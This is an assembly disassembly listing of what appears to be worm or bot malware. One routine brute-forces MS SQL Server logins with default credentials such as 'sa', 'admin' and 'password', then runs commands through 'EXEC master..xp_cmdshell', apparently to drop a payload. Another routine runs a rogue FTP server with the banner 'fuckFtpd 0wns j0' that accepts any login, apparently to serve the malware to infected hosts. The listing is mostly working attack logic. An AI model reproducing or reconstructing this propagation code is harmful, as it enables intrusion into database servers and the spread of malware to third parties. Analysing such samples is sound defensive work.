loc_403584:				; CODE XREF: sub_40356A+13j
		test	ebx, ebx
		jbe	short loc_4035B9
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40368F
		test	al, al
		jz	short loc_4035B9
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_411A40
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_4035B9:				; CODE XREF: sub_40356A+1Cj
					; sub_40356A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40356A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035C1	proc near		; CODE XREF: sub_40309D+17Cp
					; sub_41C14A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_4035D9
		call	sub_41C31C


loc_4035D9:				; CODE XREF: sub_4035C1+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_4035EB
		mov	esi, [ebp+arg_8]


loc_4035EB:				; CODE XREF: sub_4035C1+25j
		cmp	edi, ebx
		jnz	short loc_40360D
		push	ds:dword_41D240
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_403785
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_403785
		jmp	short loc_403686
; ---------------------------------------------------------------------------


loc_40360D:				; CODE XREF: sub_4035C1+2Cj
		test	esi, esi
		jbe	short loc_403650
		cmp	esi, eax
		jnz	short loc_403650
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_403621
		mov	eax, offset dword_41D250


loc_403621:				; CODE XREF: sub_4035C1+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_403650
		push	1
		mov	ecx, edi
		call	sub_403714
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40363C
		mov	eax, offset dword_41D250


loc_40363C:				; CODE XREF: sub_4035C1+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_403686
; ---------------------------------------------------------------------------


loc_403650:				; CODE XREF: sub_4035C1+4Ej
					; sub_4035C1+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40368F
		test	al, al
		jz	short loc_403686
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40366A
		mov	eax, offset dword_41D250


loc_40366A:				; CODE XREF: sub_4035C1+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_411A40
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_403686:				; CODE XREF: sub_4035C1+4Aj
					; sub_4035C1+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_4035C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40368F	proc near		; CODE XREF: sub_40309D+3Dp
					; sub_403511+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4036A1
		call	sub_41C0F0


loc_4036A1:				; CODE XREF: sub_40368F+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_4036CA
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_4036CA
		cmp	al, 0FFh
		jz	short loc_4036CA
		cmp	edi, edx
		jnz	short loc_403705
		dec	al
		push	edx
		mov	[ecx-1], al


loc_4036BF:				; CODE XREF: sub_40368F+47j
		mov	ecx, esi
		call	sub_403714


loc_4036C6:				; CODE XREF: sub_40368F+4Bj
					; sub_40368F+52j
		xor	al, al
		jmp	short loc_40370F
; ---------------------------------------------------------------------------


loc_4036CA:				; CODE XREF: sub_40368F+19j
					; sub_40368F+20j ...
		cmp	edi, edx
		jnz	short loc_4036E3
		cmp	[esp+8+arg_4], dl
		jz	short loc_4036D8
		push	1
		jmp	short loc_4036BF
; ---------------------------------------------------------------------------


loc_4036D8:				; CODE XREF: sub_40368F+43j
		cmp	ecx, edx
		jz	short loc_4036C6
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_4036C6
; ---------------------------------------------------------------------------


loc_4036E3:				; CODE XREF: sub_40368F+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_403700
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_4036F5
		cmp	eax, edi
		jnb	short loc_40370D


loc_4036F5:				; CODE XREF: sub_40368F+60j
		push	1
		mov	ecx, esi
		call	sub_403714
		jmp	short loc_403705
; ---------------------------------------------------------------------------


loc_403700:				; CODE XREF: sub_40368F+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40370D


loc_403705:				; CODE XREF: sub_40368F+28j
					; sub_40368F+6Fj
		push	edi
		mov	ecx, esi
		call	sub_4037EC


loc_40370D:				; CODE XREF: sub_40368F+64j
					; sub_40368F+74j
		mov	al, 1


loc_40370F:				; CODE XREF: sub_40368F+39j
		pop	edi
		pop	esi
		retn	8
sub_40368F	endp


; =============== S U B	R O U T	I N E =======================================



sub_403714	proc near		; CODE XREF: sub_40309D+1Fp
					; sub_40309D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_403740
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_403740
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_403739
		cmp	al, 0FFh
		jz	short loc_403739
		dec	al
		mov	[ecx], al
		jmp	short loc_403740
; ---------------------------------------------------------------------------


loc_403739:				; CODE XREF: sub_403714+19j
					; sub_403714+1Dj
		push	ecx
		call	sub_41270F
		pop	ecx


loc_403740:				; CODE XREF: sub_403714+8j
					; sub_403714+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_403714	endp


; =============== S U B	R O U T	I N E =======================================



sub_403750	proc near		; CODE XREF: seg000:00403438p
					; sub_4038A9+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40368F
		test	al, al
		jz	short loc_40377E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_411A40
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40377E:				; CODE XREF: sub_403750+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_403750	endp


; =============== S U B	R O U T	I N E =======================================



sub_403785	proc near		; CODE XREF: sub_4035C1+39p
					; sub_4035C1+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_403798
		call	sub_41C31C


loc_403798:				; CODE XREF: sub_403785+Cj
		mov	ecx, edi
		call	sub_4038A9
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_4037AE
		mov	ebx, eax


loc_4037AE:				; CODE XREF: sub_403785+25j
		test	ebx, ebx
		jbe	short loc_4037E4
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_412720
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40368F
		test	al, al
		jz	short loc_4037E4
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_4037E4:				; CODE XREF: sub_403785+2Bj
					; sub_403785+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403785	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037EC	proc near		; CODE XREF: sub_40368F+79p
		mov	eax, offset loc_41C5CC
		call	sub_4126F0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_403812
		mov	edi, [ebp+8]


loc_403812:				; CODE XREF: sub_4037EC+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40381F
		xor	eax, eax


loc_40381F:				; CODE XREF: sub_4037EC+2Fj
		push	eax
		call	sub_412A55
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_403850
; ---------------------------------------------------------------------------


loc_40382B:				; DATA XREF: seg001:0041DF04o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40383A
		xor	eax, eax


loc_40383A:				; CODE XREF: sub_4037EC+4Aj
		push	eax
		call	sub_412A55
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40384A
		retn
; ---------------------------------------------------------------------------


loc_40384A:				; DATA XREF: sub_4037EC+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_403850:				; CODE XREF: sub_4037EC+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40386E
		cmp	eax, edi
		jbe	short loc_40385D
		mov	eax, edi


loc_40385D:				; CODE XREF: sub_4037EC+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_411A40
		add	esp, 0Ch


loc_40386E:				; CODE XREF: sub_4037EC+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_403714
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40388E
		mov	edi, ebx


loc_40388E:				; CODE XREF: sub_4037EC+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4037EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038A9	proc near		; CODE XREF: sub_403785+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_4038D6
		mov	al, [esi-1]
		test	al, al
		jz	short loc_4038D6
		cmp	al, 0FFh
		jz	short loc_4038D6
		push	1
		call	sub_403714
		push	esi
		call	sub_411FB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_403750


loc_4038D6:				; CODE XREF: sub_4038A9+9j
					; sub_4038A9+10j ...
		pop	edi
		pop	esi
		retn
sub_4038A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038D9	proc near		; DATA XREF: seg002:0041F008o
		test	ds:byte_461278,	1
		jnz	short loc_4038E9
		or	ds:byte_461278,	1


loc_4038E9:				; CODE XREF: sub_4038D9+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_412AD0
		pop	ecx
		retn
sub_4038D9	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038FB	proc near		; CODE XREF: seg000:00403B78p

var_E3C		= byte ptr -0E3Ch
var_A3C		= byte ptr -0A3Ch
var_63C		= byte ptr -63Ch
var_23C		= byte ptr -23Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E3Ch
		mov	al, ds:byte_430AD0
		push	esi
		mov	[ebp+var_1], al
		mov	eax, offset aRoot ; "root"
		mov	[ebp+var_38], eax
		mov	[ebp+var_30], eax
		push	edi
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		mov	esi, offset aSa	; "sa"
		push	edi
		push	1
		mov	[ebp+var_3C], esi
		mov	[ebp+var_34], offset aAdmin ; "admin"
		mov	[ebp+var_2C], offset aPassword ; "password"
		mov	[ebp+var_28], offset aSql ; "sql"
		mov	[ebp+var_24], offset aVb ; "vb"
		mov	[ebp+var_20], edi
		mov	[ebp+var_18], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		call	ds:dword_431E14
		test	ax, ax
		jnz	short loc_403974
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_14]
		call	ds:dword_431F18
		test	ax, ax
		jz	short loc_40397B


loc_403974:				; CODE XREF: sub_4038FB+60j
		xor	eax, eax
		jmp	loc_403B54
; ---------------------------------------------------------------------------


loc_40397B:				; CODE XREF: sub_4038FB+77j
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		push	2
		call	ds:dword_431E14
		test	ax, ax
		jnz	loc_403B47
		test	esi, esi
		push	ebx
		jz	loc_403B38
		mov	edi, ds:dword_41D050
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_C], eax
		mov	ebx, offset byte_4243E0


loc_4039AD:				; CODE XREF: sub_4038FB+1E8j
		cmp	ds:off_42454C, 0
		jz	loc_403AD7
		mov	eax, offset off_42454C
		mov	esi, eax


loc_4039C1:				; CODE XREF: sub_4038FB+13Bj
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A3C]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_411963
		add	esp, 1Ch
		lea	eax, [ebp+var_1A]
		push	0
		push	eax
		lea	eax, [ebp+var_E3C]
		push	400h
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		push	0
		push	[ebp+var_10]
		call	ds:dword_431ECC
		test	ax, ax
		jz	short loc_403A3D
		cmp	ax, 1
		jz	short loc_403A3D
		push	1F4h
		call	edi ; dword_41D050
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_4039C1
		jmp	loc_403AD7
; ---------------------------------------------------------------------------


loc_403A3D:				; CODE XREF: sub_4038FB+124j
					; sub_4038FB+12Aj
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		push	3
		call	ds:dword_431E14
		push	ebx
		push	ebx
		call	sub_4119BF
		push	eax
		call	sub_4119BF
		push	eax
		push	ds:dword_430AD8
		push	[ebp+arg_0]
		call	sub_407F2C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_411963
		add	esp, 20h
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	ds:dword_431E54
		test	ax, ax
		jz	short loc_403ACC
		mov	esi, 1388h
		push	esi
		call	edi ; dword_41D050
		push	ebx
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_411963
		add	esp, 0Ch
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	ds:dword_431E54
		test	ax, ax
		jz	short loc_403AE8
		push	esi
		call	edi ; dword_41D050


loc_403ACC:				; CODE XREF: sub_4038FB+198j
		push	[ebp+var_8]
		push	3
		call	ds:dword_431EAC


loc_403AD7:				; CODE XREF: sub_4038FB+B9j
					; sub_4038FB+13Dj
		add	[ebp+var_C], 4
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_403B38
		jmp	loc_4039AD
; ---------------------------------------------------------------------------


loc_403AE8:				; CODE XREF: sub_4038FB+1CCj
		cmp	[ebp+arg_B4], 0
		mov	[ebp+var_18], 1
		jnz	short loc_403B16
		push	0
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_403B16:				; CODE XREF: sub_4038FB+1FBj
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_408CFE
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_421048[eax]
		lea	eax, dword_421048[eax]


loc_403B38:				; CODE XREF: sub_4038FB+9Bj
					; sub_4038FB+1E6j
		push	[ebp+var_10]
		push	2
		call	ds:dword_431EAC
		mov	edi, [ebp+var_18]
		pop	ebx


loc_403B47:				; CODE XREF: sub_4038FB+92j
		push	[ebp+var_14]
		push	1
		call	ds:dword_431EAC
		mov	eax, edi


loc_403B54:				; CODE XREF: sub_4038FB+7Bj
		pop	edi
		pop	esi
		leave
		retn
sub_4038FB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4038FB
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_4026D6
		add	esp, 0BCh
		mov	[ebp+0C0h], eax
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BAC	proc near		; DATA XREF: seg000:00405C3Fo

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_41D1B4	; WSAStartup
		push	edi
		call	sub_412D64
		push	eax
		call	sub_4119B5
		push	0FA00h
		push	471h
		call	sub_4107B2
		add	esp, 10h
		mov	ds:dword_430AD8, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_41D1D8	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_41D1B8	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_41D1BC	; ioctlsocket
		mov	ax, word ptr ds:dword_430AD8
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_41D1C0	; ntohs
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_41D1C4	; bind
		test	eax, eax
		jge	short loc_403C81
		mov	eax, ebx
		jmp	loc_4041A8
; ---------------------------------------------------------------------------


loc_403C81:				; CODE XREF: sub_403BAC+CCj
		push	0Ah
		push	esi
		call	ds:dword_41D1C8	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_41D1DC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_403C9F:				; CODE XREF: sub_403BAC+12Cj
					; sub_403BAC+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_41D1E0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4041A5
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_403C9F


loc_403CDA:				; CODE XREF: sub_403BAC+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_4119E0
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_4119E0
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_41C446	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404193
		cmp	edi, [ebp+var_C]
		jnz	short loc_403D91
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_41D1CC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_404193
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_403D5B
		lea	edx, [ebp+var_224]


loc_403D4B:				; CODE XREF: sub_403BAC+1ADj
		cmp	[edx], eax
		jz	short loc_403D5B
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_403D4B


loc_403D5B:				; CODE XREF: sub_403BAC+197j
					; sub_403BAC+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_403D79
		cmp	[ebp+var_228], 40h
		jnb	short loc_403D79
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_403D79:				; CODE XREF: sub_403BAC+1B5j
					; sub_403BAC+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_403D81
		mov	[ebp+var_4], eax


loc_403D81:				; CODE XREF: sub_403BAC+1D0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx ; dword_41D1DC
		jmp	loc_404193
; ---------------------------------------------------------------------------


loc_403D91:				; CODE XREF: sub_403BAC+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	ds:dword_41D1D0	; recv
		test	eax, eax
		jg	short loc_403DF8
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_403DEC
		lea	eax, [ebp+var_224]


loc_403DB8:				; CODE XREF: sub_403BAC+216j
		cmp	[eax], edi
		jz	short loc_403DC6
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_403DB8
		jmp	short loc_403DEC
; ---------------------------------------------------------------------------


loc_403DC6:				; CODE XREF: sub_403BAC+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_403DE6
		lea	eax, [ebp+ecx*4+var_224]


loc_403DD2:				; CODE XREF: sub_403BAC+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_403DD2


loc_403DE6:				; CODE XREF: sub_403BAC+21Dj
		dec	[ebp+var_228]


loc_403DEC:				; CODE XREF: sub_403BAC+204j
					; sub_403BAC+218j
		push	edi
		call	ds:dword_41D1D4	; closesocket
		jmp	loc_404193
; ---------------------------------------------------------------------------


loc_403DF8:				; CODE XREF: sub_403BAC+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_412D30
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_411D80
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403E3C
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40417E
; ---------------------------------------------------------------------------


loc_403E3C:				; CODE XREF: sub_403BAC+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E60
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40417E
; ---------------------------------------------------------------------------


loc_403E60:				; CODE XREF: sub_403BAC+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E84
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_40417E
; ---------------------------------------------------------------------------


loc_403E84:				; CODE XREF: sub_403BAC+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403EA8
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40417E
; ---------------------------------------------------------------------------


loc_403EA8:				; CODE XREF: sub_403BAC+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_420620
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403ECC
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40417E
; ---------------------------------------------------------------------------


loc_403ECC:				; CODE XREF: sub_403BAC+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403F07
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403F07
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40417E
; ---------------------------------------------------------------------------


loc_403F07:				; CODE XREF: sub_403BAC+335j
					; sub_403BAC+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403F42
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403F42
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40417E
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_403BAC+370j
					; sub_403BAC+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403F90
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_403F80:				; CODE XREF: sub_403BAC+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx ; dword_41D1DC
		xor	esi, esi


loc_403F88:				; CODE XREF: sub_403BAC+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_404181
; ---------------------------------------------------------------------------


loc_403F90:				; CODE XREF: sub_403BAC+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_411D80
